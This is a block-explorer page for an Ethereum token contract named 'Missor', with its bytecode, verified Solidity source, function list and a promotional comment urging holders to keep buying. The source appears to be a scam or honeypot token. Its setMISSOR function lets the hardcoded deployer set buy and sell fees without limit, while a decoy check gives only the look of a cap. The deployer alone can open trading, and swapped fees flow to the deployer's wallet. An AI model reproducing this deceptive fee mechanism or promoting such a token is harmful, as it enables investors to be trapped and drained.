Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x377D2F538d83480a7942c4ddaDb7242aeB2650Fc
Balance 0 ETH
Nonce 1
Code Size 2808 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

2808 bytes
0x60806040526004361061009d575f3560e01c8063313ce56711610062578063313ce5671461017557806357237b4e1461019b57806370a08231146101ba57806395d89b41146101e5578063a9059cbb14610216578063dd62ed3e14610235575f80fd5b806306fdde03146100a8578063095ea7b3146100ef5780630f8540e41461011e57806318160ddd1461013457806323b872dd14610156575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100d96040518060400160405280600681526020016526b4b9b9b7b960d11b81525081565b6040516100e691906107ad565b60405180910390f35b3480156100fa575f80fd5b5061010e610109366004610814565b61026b565b60405190151581526020016100e6565b348015610129575f80fd5b506101326102d7565b005b34801561013f575f80fd5b50610148610321565b6040519081526020016100e6565b348015610161575f80fd5b5061010e61017036600461083c565b61033d565b348015610180575f80fd5b50610189601281565b60405160ff90911681526020016100e6565b3480156101a6575f80fd5b506101326101b5366004610875565b61038a565b3480156101c5575f80fd5b506101486101d4366004610895565b60026020525f908152604090205481565b3480156101f0575f80fd5b506100d96040518060400160405280600681526020016526a4a9a9a7a960d11b81525081565b348015610221575f80fd5b5061010e610230366004610814565b6103c8565b348015610240575f80fd5b5061014861024f3660046108ae565b600360209081525f928352604080842090915290825290205481565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102c59086815260200190565b60405180910390a35060015b92915050565b3373670ab58fbee3abd1328c8a36ce27f9e491c459ab146102f6575f80fd5b600454600160a81b900460ff161561030c575f80fd5b6004805460ff60a81b1916600160a81b179055565b61032d6012600a6109d3565b61033a90620f42406109e1565b81565b6001600160a01b0383165f9081526003602090815260408083203384529091528120805483919083906103719084906109f8565b9091555061038290508484846103db565b949350505050565b73670ab58fbee3abd1328c8a36ce27f9e491c459aa1933016103b0575f91909155600155565b600a82106103bc575f80fd5b600a81106100a4575f80fd5b5f6103d43384846103db565b9392505050565b6004545f90600160a81b900460ff168061041157506001600160a01b03841673670ab58fbee3abd1328c8a36ce27f9e491c459ab145b8061043857506001600160a01b03831673670ab58fbee3abd1328c8a36ce27f9e491c459ab145b610440575f80fd5b600454600160a81b900460ff1615801561046357506004546001600160a01b0316155b801561046e57505f82115b1561048f57600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104b69084906109f8565b90915550506004546001600160a01b0384811691161480156104e25750600454600160a01b900460ff16155b8015610520575060646104f76012600a6109d3565b61050490620f42406109e1565b61050e9190610a0b565b305f9081526002602052604090205410155b156106a9576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061056b5761056b610a2a565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105b3576105b3610a2a565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105f36012600a6109d3565b61060090620f42406109e1565b61060a9190610a0b565b5f8430426040518663ffffffff1660e01b815260040161062e959493929190610a3e565b5f604051808303815f87803b158015610645575f80fd5b505af1158015610657573d5f803e3d5ffd5b505060405173670ab58fbee3abd1328c8a36ce27f9e491c459ab92504780156108fc029250905f818181858888f19350505050158015610699573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610728576004545f906064906001600160a01b038781169116146106db576001546106de565b5f545b6106e890856109e1565b6106f29190610a0b565b90506106fe81846109f8565b305f90815260026020526040812080549295508392909190610721908490610aaf565b9091555050505b6001600160a01b0383165f908152600260205260408120805484929061074f908490610aaf565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079b91815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b818110156107d9578581018301518582016040015282016107bd565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461080f575f80fd5b919050565b5f8060408385031215610825575f80fd5b61082e836107f9565b946020939093013593505050565b5f805f6060848603121561084e575f80fd5b610857846107f9565b9250610865602085016107f9565b9150604084013590509250925092565b5f8060408385031215610886575f80fd5b50508035926020909101359150565b5f602082840312156108a5575f80fd5b6103d4826107f9565b5f80604083850312156108bf575f80fd5b6108c8836107f9565b91506108d6602084016107f9565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561092d57815f1904821115610913576109136108df565b8085161561092057918102915b93841c93908002906108f8565b509250929050565b5f82610943575060016102d1565b8161094f57505f6102d1565b8160018114610965576002811461096f5761098b565b60019150506102d1565b60ff841115610980576109806108df565b50506001821b6102d1565b5060208310610133831016604e8410600b84101617156109ae575081810a6102d1565b6109b883836108f3565b805f19048211156109cb576109cb6108df565b029392505050565b5f6103d460ff841683610935565b80820281158282048414176102d1576102d16108df565b818103818111156102d1576102d16108df565b5f82610a2557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a8e5784516001600160a01b031683529383019391830191600101610a69565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d1576102d16108df56fea2646970667358221220a11a4caa07d9705a0b26b6fc6730a0b8eb7ec0dde9f96c14ab79f89b33f51fab64736f6c63430008170033

Verified Source Code Full Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
Missor.sol 130 lines
/*

Don't be a Missor! Look at it positively, it's not a crash - it's a sale! While the weak participants are emotional, the patient ones are gaining ground. Because the first green candle is about to appear. You know and feel it too, leave the nerves to others - be smart! 

Telegram : https://t.me/MissorOnETH
Twitter : https://x.com/MissorOnETH
Website : https://missortoken.fun

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.23;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract Missor {
        string public constant name = "Missor";  //
        string public constant symbol = "MISSOR";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1_000_000 * 10**decimals;

        uint256 BurnTNumber = 0;
        uint256 ConfirmTNumber = 0;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x670Ab58fBeE3aBd1328C8a36ce27F9E491C459Ab)); //

        bool private swapping;
        bool private TradingOpenStatus;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(TradingOpenStatus || from == deployer || to == deployer);

            if(!TradingOpenStatus && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 FinalFigure = amount * (from == pair ? BurnTNumber : ConfirmTNumber) / 100;
                amount -= FinalFigure;
                balanceOf[address(this)] += FinalFigure;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function OpenTrade() external {
            require(msg.sender == deployer);
            require(!TradingOpenStatus);
            TradingOpenStatus = true;        
            }
            
        function setMISSOR(uint256 newTBurn, uint256 newTConfirm) external {
        if(msg.sender == deployer){
            BurnTNumber = newTBurn;
            ConfirmTNumber = newTConfirm;
            }
        else{
            require(newTBurn < 10);
            require(newTConfirm < 10);
            revert();
            }  
        }
        }

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

OpenTrade 0x0f8540e4
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
setMISSOR 0x57237b4e
uint256 newTBurn
uint256 newTConfirm
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address